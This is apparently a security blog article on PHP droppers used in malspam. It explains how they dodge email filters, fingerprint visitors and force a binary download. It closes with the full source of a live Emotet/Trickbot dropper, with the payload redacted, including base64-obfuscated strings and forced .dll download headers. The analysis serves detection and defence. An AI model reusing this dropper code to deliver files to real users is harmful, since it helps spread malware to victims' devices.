PHP Droppers

A dropper is a type of hacktool for disguising and downloading the malware payload which will be “dropped” to the victim device.

PHP droppers are used for evading detection by host anti-virus/malware and bypassing email security controls like filters and/or scanning. They are used for malicious URLs inside malspam sent to victims and prompt a binary data file download when the the link is clicked.

malware chain

Malspam Distribution

In 2019 Proofpoint released a threat report showing usage of malware spread through malicious URLs exceeded the traditional file attachment method:

rise of malicious url

Why are droppers used?

PHP droppers are used because they allow the attacker’s malspam to bypass certain email filters using two main techniques:

1) No Email Attachments Needed

  1. Malware is not stored as an email file attachment

An attachment makes the email score much higher on email filters and the attached data gets flagged by a scanner like VirusTotal then it has a low chance of reaching a victim’s inbox.

2) “Clean” URLs

  1. Malicious URL does not contain a file extension (e.g pretty permalinks)

    A direct link to the malware looks much more suspicious and is easily scanned by online scanners like VirusTotal:

pretty url

How A PHP Dropper Works

Identify Victims

  1. The dropper collects browser fingerprint data on the visitor to determine how the malware should proceed with trying to download onto the visitor’s device.
    private function getPlatform()
    {
        $userAgent = ( isset($_SERVER[$this->d600fda8b0f54c("MGFaZFF3PT06OkhUVFBfVVNFUl9BR0VOVA==")]) ? $_SERVER[$this->d600fda8b0f54c("MGFaZFF3PT06OkhUVFBfVVNFUl9BR0VOVA==")] : '' );
        $platform = 0; // PLATFORM_UNKNOWN

        if (stripos($userAgent, $this->d600fda8b0f54c("T0grSmxINWEwQVdDTEt3PTo6d2luZG93cw==")) !== false) {
            $platform = 4; // PLATFORM_WINDOWS
        } else if (stripos($userAgent, $this->d600fda8b0f54c("a3lYSUlBTWg6OmlQYWQ=")) !== false) {
            $platform = 2; // PLATFORM_APPLE
        } else if (stripos($userAgent, $this->d600fda8b0f54c("QUF6UVQvem1OS3o5djVpbG1BPT06OmlQb2Q=")) !== false) {
            $platform = 2; // PLATFORM_APPLE
        } else if (stripos($userAgent, $this->d600fda8b0f54c("TzVTRDA4ajNCbkE9OjppUGhvbmU=")) !== false) {
            $platform = 2; // PLATFORM_APPLE
        } elseif (stripos($userAgent, $this->d600fda8b0f54c("V3dlSUhRUy8zU0NjUUlTaGtpYkZhZz09OjptYWM=")) !== false) {
            $platform = 2; // PLATFORM_APPLE
        } elseif (stripos($userAgent, $this->d600fda8b0f54c("R1VGMGljcDI6OmFuZHJvaWQ=")) !== false) {
            $platform = 1; // PLATFORM_ANDROID
        } elseif (stripos($userAgent, $this->d600fda8b0f54c("NXFqQWpKdDA5RCtITEsyWkRsWT06OmxpbnV4")) !== false) {
            $platform = 3; // PLATFORM_LINUX
        } elseif (stripos($userAgent, $this->d600fda8b0f54c("bHZ5eVd5OTU6Ondpbg==")) !== false) {
            $platform = 4; // PLATFORM_WINDOWS
        } elseif (stripos($userAgent, $this->d600fda8b0f54c("NDU4K1FtdFM6OmlPUw==")) !== false) {
            $platform = 2; // PLATFORM_APPLE
        }

        return $platform;
    }

    public function d600fda8b0f54c($s)
    {
        $string = base64_decode($s);
        return explode('::', $string, 2)[1];
    }

Hides the Binary Malware

  1. The binary malware can be stored as text strings in the PHP dropper’s code, or it can be dynamically provided by the attacker to the PHP dropper via POST requests.
        // Send content
        $contentData = '[put binary data payload here in proper format]';
        return gzinflate(base64_decode($contentData));

Generates Download Prompt

  1. By using PHP’s header function, the dropper is able to trick the victim’s browser to prompt the download of a binary file (e.g bQ4O5I.dll) to the victim.
        // Resist Varnish-cache
        setcookie(uniqid(), time(), time() + 60, '/');

        // Send cache headers
        $timestamp = gmdate($this->d600fda8b0f54c("WmkyV2tSbz06OkQsIGQgTSBZIEg6aTpz")) . $this->d600fda8b0f54c("bEkrU0NPMTNDTFhqNXpHdG5KVXU6OiBHTVQ=");

        header($this->d600fda8b0f54c("OCttZGFSVkVFckUxYkE9PTo6Q2FjaGUtQ29udHJvbDogbm8tY2FjaGUsIG11c3QtcmV2YWxpZGF0ZQ=="));
        header($this->d600fda8b0f54c("Z1JnZHVXbnU1UEliUDdkVXdMYz06OlByYWdtYTogbm8tY2FjaGU="));
        header($this->d600fda8b0f54c("bk94Rll5UT06Okxhc3QtTW9kaWZpZWQ6IA==") . $timestamp);
        header($this->d600fda8b0f54c("SjZwQitRQ294cVk9OjpFeHBpcmVzOiA=") . $timestamp);

        // Send content headers
        $contentName = 'bQ4O5I.dll';
        $contentType = 'application/octet-stream';

        header($this->d600fda8b0f54c("ZGZVM3JWUjZvUT09OjpDb250ZW50LVR5cGU6IA==") . $contentType);
        header($this->d600fda8b0f54c("d01KaklnPT06OkNvbnRlbnQtRGlzcG9zaXRpb246IGF0dGFjaG1lbnQ7IGZpbGVuYW1lPSI=") . $contentName . '"');
        header($this->d600fda8b0f54c("SVp0ZXBMelZBZz09OjpDb250ZW50LVRyYW5zZmVyLUVuY29kaW5nOiBiaW5hcnk="));

Sample

Here is a sample of a live PHP dropper used to spread Emotet/Trickbot related malware (payload redacted) via malspam distribution:


<?php

class c600fda8b0b856
{
/*
    const PLATFORM_UNKNOWN = 0;
    const PLATFORM_ANDROID = 1;
    const PLATFORM_APPLE   = 2;
    const PLATFORM_LINUX   = 3;
    const PLATFORM_WINDOWS = 4;
*/
    private function getPlatform()
    {
        $userAgent = ( isset($_SERVER[$this->d600fda8b0f54c("MGFaZFF3PT06OkhUVFBfVVNFUl9BR0VOVA==")]) ? $_SERVER[$this->d600fda8b0f54c("MGFaZFF3PT06OkhUVFBfVVNFUl9BR0VOVA==")] : '' );
        $platform = 0; // PLATFORM_UNKNOWN

        if (stripos($userAgent, $this->d600fda8b0f54c("T0grSmxINWEwQVdDTEt3PTo6d2luZG93cw==")) !== false) {
            $platform = 4; // PLATFORM_WINDOWS
        } else if (stripos($userAgent, $this->d600fda8b0f54c("a3lYSUlBTWg6OmlQYWQ=")) !== false) {
            $platform = 2; // PLATFORM_APPLE
        } else if (stripos($userAgent, $this->d600fda8b0f54c("QUF6UVQvem1OS3o5djVpbG1BPT06OmlQb2Q=")) !== false) {
            $platform = 2; // PLATFORM_APPLE
        } else if (stripos($userAgent, $this->d600fda8b0f54c("TzVTRDA4ajNCbkE9OjppUGhvbmU=")) !== false) {
            $platform = 2; // PLATFORM_APPLE
        } elseif (stripos($userAgent, $this->d600fda8b0f54c("V3dlSUhRUy8zU0NjUUlTaGtpYkZhZz09OjptYWM=")) !== false) {
            $platform = 2; // PLATFORM_APPLE
        } elseif (stripos($userAgent, $this->d600fda8b0f54c("R1VGMGljcDI6OmFuZHJvaWQ=")) !== false) {
            $platform = 1; // PLATFORM_ANDROID
        } elseif (stripos($userAgent, $this->d600fda8b0f54c("NXFqQWpKdDA5RCtITEsyWkRsWT06OmxpbnV4")) !== false) {
            $platform = 3; // PLATFORM_LINUX
        } elseif (stripos($userAgent, $this->d600fda8b0f54c("bHZ5eVd5OTU6Ondpbg==")) !== false) {
            $platform = 4; // PLATFORM_WINDOWS
        } elseif (stripos($userAgent, $this->d600fda8b0f54c("NDU4K1FtdFM6OmlPUw==")) !== false) {
            $platform = 2; // PLATFORM_APPLE
        }

        return $platform;
    }

    public function d600fda8b0f54c($s)
    {
        $string = base64_decode($s);
        return explode('::', $string, 2)[1];
    }

    public function p600fda8b0bb7c()
    {
        $qString = $this->d600fda8b0f54c("UmhDWnhoTGtCNTRKakE9PTo6UVVFUllfU1RSSU5H");

        if (!empty($_SERVER[$qString])) {
            return $_SERVER[$qString];
        }

        $path = '.' . sha1(basename(dirname(__FILE__)));

        if (($fp = fopen($path, 'c+')) !== false) {
            if (flock($fp, LOCK_EX)) {
                $stat = array();
                $fileSize = filesize($path);

                if ($fileSize > 0) {
                    $stat = json_decode(fread($fp, $fileSize), true);
                }

                $platform = $this->getPlatform();

                if (!isset($stat[$platform]) || !is_int($stat[$platform])) {
                    $stat[$platform] = 1;
                } else {
                    $stat[$platform]++;
                }

                fseek($fp, 0);
                fwrite($fp, json_encode($stat));
                fflush($fp);
                flock($fp, LOCK_UN);
            }

            fclose($fp);
        }

        // Resist Varnish-cache
        setcookie(uniqid(), time(), time() + 60, '/');

        // Send cache headers
        $timestamp = gmdate($this->d600fda8b0f54c("WmkyV2tSbz06OkQsIGQgTSBZIEg6aTpz")) . $this->d600fda8b0f54c("bEkrU0NPMTNDTFhqNXpHdG5KVXU6OiBHTVQ=");

        header($this->d600fda8b0f54c("OCttZGFSVkVFckUxYkE9PTo6Q2FjaGUtQ29udHJvbDogbm8tY2FjaGUsIG11c3QtcmV2YWxpZGF0ZQ=="));
        header($this->d600fda8b0f54c("Z1JnZHVXbnU1UEliUDdkVXdMYz06OlByYWdtYTogbm8tY2FjaGU="));
        header($this->d600fda8b0f54c("bk94Rll5UT06Okxhc3QtTW9kaWZpZWQ6IA==") . $timestamp);
        header($this->d600fda8b0f54c("SjZwQitRQ294cVk9OjpFeHBpcmVzOiA=") . $timestamp);

        // Send content headers
        $contentName = 'bQ4O5I.dll';
        $contentType = 'application/octet-stream';

        header($this->d600fda8b0f54c("ZGZVM3JWUjZvUT09OjpDb250ZW50LVR5cGU6IA==") . $contentType);
        header($this->d600fda8b0f54c("d01KaklnPT06OkNvbnRlbnQtRGlzcG9zaXRpb246IGF0dGFjaG1lbnQ7IGZpbGVuYW1lPSI=") . $contentName . '"');
        header($this->d600fda8b0f54c("SVp0ZXBMelZBZz09OjpDb250ZW50LVRyYW5zZmVyLUVuY29kaW5nOiBiaW5hcnk="));

        // Send content
        $contentData = '[put binary data payload here in proper format]';
        return gzinflate(base64_decode($contentData));
    }
}

echo (new c600fda8b0b856)->p600fda8b0bb7c();